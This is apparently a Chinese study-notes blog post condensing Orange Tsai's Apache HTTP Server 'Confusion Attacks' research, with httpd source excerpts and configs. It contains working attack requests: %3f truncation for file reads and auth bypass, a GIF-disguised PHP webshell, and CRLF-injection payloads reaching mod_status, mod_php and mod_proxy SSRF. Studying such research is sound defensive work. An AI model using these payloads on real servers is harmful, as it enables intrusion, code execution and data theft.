Confusion Attacks: Exploiting Hidden Semantic Ambiguity In Apache HTTP Server! - Orange Tsai

Conference: Orange Conference / HITCON Conference / BlackHat
講者:Orange Tsai

P.S. 其實 Orange 在 DEVCORE 的 Blog 中已經將這幾個漏洞講得很詳細了,這篇算是幫助自己理解之後再濃縮後的版本。


Filename Confusion

截斷攻擊

mod_rewrite:

mod_rewrite 中的 RewriteRule 可以塞路徑或網址,但不管用哪個最後都會強制把結果當成網址處理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
static int apply_rewrite_rule(rewriterule_entry *p, rewrite_ctx *ctx)
{
ap_regmatch_t regmatch[AP_MAX_REG_MATCH];
apr_array_header_t *rewriteconds;
rewritecond_entry *conds;

// [...]

for (i = 0; i < rewriteconds->nelts; ++i) {
rewritecond_entry *c = &conds[i];
rc = apply_rewrite_cond(c, ctx);

// [...] do the remaining stuff

}

/* Now adjust API's knowledge about r->filename and r->args */
r->filename = newuri;

if (ctx->perdir && (p->flags & RULEFLAG_DISCARDPATHINFO)) {
r->path_info = NULL;
}

splitout_queryargs(r, p->flags); // <------- [!!!] Truncate the `r->filename`

// [...]
}

從上面的程式碼不難看出, RewriteRule 先將 r->filename 變成 uri ,再把 query 刪掉,看起來蠻合理的,畢竟他是要取 path

但這時如果在請求時塞一些 urlencode 後的編碼,就有可能因為後面被截斷從而繞過檢查:

1
2
RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"

如果請求長這樣:

1
http://example.com/user/orange%2fsecret.yml%3f
  • parser 出來的路徑 -> /user/orange%2fsecret.yml%3f
  • mod_rewrite -> /user/orange/secret.yml?profile.yml -> /user/orange/secret.yml( query 的部分會被刪掉)

mod_rewrite 時,因為 r->filename ?後面都被刪除的關係,路徑會變成 /var/user/orange/secret.yml ,導致 information leak

除了讀取敏感文件,強制解析成 url 的特性讓攻擊者可以透過 %3f 截斷,導致 url parser 和 apache 的 mod 前後解釋不一致,從而濫用 mod 的各種功能,例如:

本應將 .php 結尾的檔案解析成 php 的 rewrite rule 可由 path 的 %3f 繞過

1
2
RewriteEngine On
RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]

惡意請求:

1
2
http://example.com/server/upload/1.gif%3f.php
#1.gif:GIF89a<?=system($_GET['cmd']);?>
  • parser 出來的路徑 -> upload/1.gif%3f.php
  • mod_rewrite -> upload/1.gif?.php -> upload/1.gif 並且符合 regex ,所以會將 1.gif 作為 php 解析,成功執行 webshell

ACL Bypass

mod_proxy:

mod_proxy 會將 r->filename 解析成 url ,但大多數的模組不會做這種事,模組之間的解釋不一就有機會繞過驗證,導致 BAC,例如:

存取 admin.php 時透過 Files 對其進行身份驗證:

1
2
3
4
5
6
<Files "admin.php">
AuthType Basic
AuthName "Admin Panel"
AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>

惡意請求:

1
http://example.com/admin.php%3f.php
  • parser 出來的路徑 -> admin.php%3f.php -> 很明顯和 admin.php 不符,不需要驗證,又結尾是 .php ,因此透過 SㄍetHandler 將後續動作轉交由 mod_proxy 處理
  • mod_proxy -> admin.php?.php -> ?.php 被當成 query 處理,成功存取 admin.php

DocumentRoot Confusion

任意程式碼洩漏

RewriteRule

又是你,這邊有一個先備知識,那就是 RewriteRule 會先嘗試存取 DocumentRoot 下面的路徑,再嘗試使用絕對路徑存取檔案。
因此,假設今天要把所有對於 /html/ 中的請求都加上後綴 .html ,可能會這樣寫:

1
2
RewriteEngine On
RewriteRule "^/html/(.*)$" "/$1.html"

那我們就有可能用剛剛學會那招 %3f 直接把後綴蓋掉,從而存取伺服器中的任何原始碼:

1
http://example.com/html/usr/lib/cgi-bin/download.cgi%3f
  • parser 出來的路徑 -> /html/usr/lib/cgi-bin/download.cgi%3f
  • mod_rewrite -> /html/usr/lib/cgi-bin/download.cgi?.html -> /html/usr/lib/cgi-bin/download.cgi( query 的部分會被刪掉)

這時就可以 leak 出任意原始碼了

Local Gadgets Manipulation

預設 apache 會阻擋除了 DocumentRoot 底下的所有存取,而 Debian/UbuntuHttpd 會預設允許 /usr/share 的存取

1
2
3
4
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>

所以其實並不是所有檔案都可以存取,如何利用 /usr/share 下面的東西變成了主要的問題(Orange 提出各種濫用預設存在 /usr/share 底下的各種程式碼範本,這邊就不一一贅述)

Handler Confusion

在正常的流程中瀏覽 http://server/config.php。 首先,mod_mime 會在 type_checker 階段根據 AddType 所設定的附檔名將相對應的內容複製到 r->content_type 中,由於 r->handler 在整個 HTTP 生命週期中並無賦值,於是在執行模組處理器前 ap_invoke_handler() 會將 r->content_type 當成模組處理器,最終呼叫 mod_php 處理請求。

如果可以控制 Response Header 的 Content-Type 欄位,就可以呼叫任何 mod 處理請求,但是問題是什麼呢?問題是需要在執行到 ap_invoke_handler() 前把 r->content_type 覆蓋掉,上面有提到 ap_invoke_handler 會在 type_checker 階段被複製進去,而能夠修改 Content-Type 的地方又全都在這之後,因此直接改 Content-Type 是沒有用的

那要如何利用呢?

RFC 3875 中,規定了 CGI 的 Local Redirect Response 行為:

The CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified.

細看 ap_internal_redirect_handler() 的轉址實作可以發現:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
AP_DECLARE(void) ap_internal_redirect_handler(const char *new_uri, request_rec *r)
{
int access_status;
request_rec *new = internal_internal_redirect(new_uri, r); // <------ [1]

/* ap_die was already called, if an error occured */
if (!new) {
return;
}

if (r->handler)
ap_set_content_type(new, r->content_type); // <------ [2]
access_status = ap_process_request_internal(new); // <------ [3]
if (access_status == OK) {
access_status = ap_invoke_handler(new); // <------ [4]
}
ap_die(access_status, new);
}

Httpd 會先設定 Content-Type ,並在後面呼叫我們心心念念的 ap_invoke_handler() ,這不就是我們要達到的效果嗎
那什麼狀況下會由伺服器端處理轉址並跳到 ap_internal_redirect_handler() 呢?
我們可以在 mod_cgi 的實作中找到答案:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if (location && location[0] == '/' && r->status == 200) {          // <------ [2]
/* This redirect needs to be a GET no matter what the original
* method was.
*/
r->method = "GET";
r->method_number = M_GET;

/* We already read the message body (if any), so don't allow
* the redirected request to think it has one. We can ignore
* Transfer-Encoding, since we used REQUEST_CHUNKED_ERROR.
*/
apr_table_unset(r->headers_in, "Content-Length");

ap_internal_redirect_handler(location, r); // <------ [3]
return OK;
}

如果回傳的 Status 是 200 以及 Location 標頭欄位是 / 開頭則 mod_cgi 便會把這個回應當成一個伺服器端的轉址並開始處理,因此,如果我們可以控制回應標頭(例如 CRLF Injection or SSRF 之類的漏洞),便可以呼叫任意模組

Arbitrary Handler to Information Disclosure

透過 mod_status 達到 information leak:

1
2
3
4
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a

Arbitrary Handler to Misinterpret Scripts

透過 mod_php 強制將任意檔案解析成 php:

1
2
3
4
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/uploads/avatar.webp %0d%0a
Content-Type:application/x-httpd-php %0d%0a
%0d%0a

Arbitrary Handler to Full SSRF

呼叫 mod_proxy 存取任何協議以及任意網址:

1
2
3
4
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:http://example.com/%3f %0d%0a
%0d%0a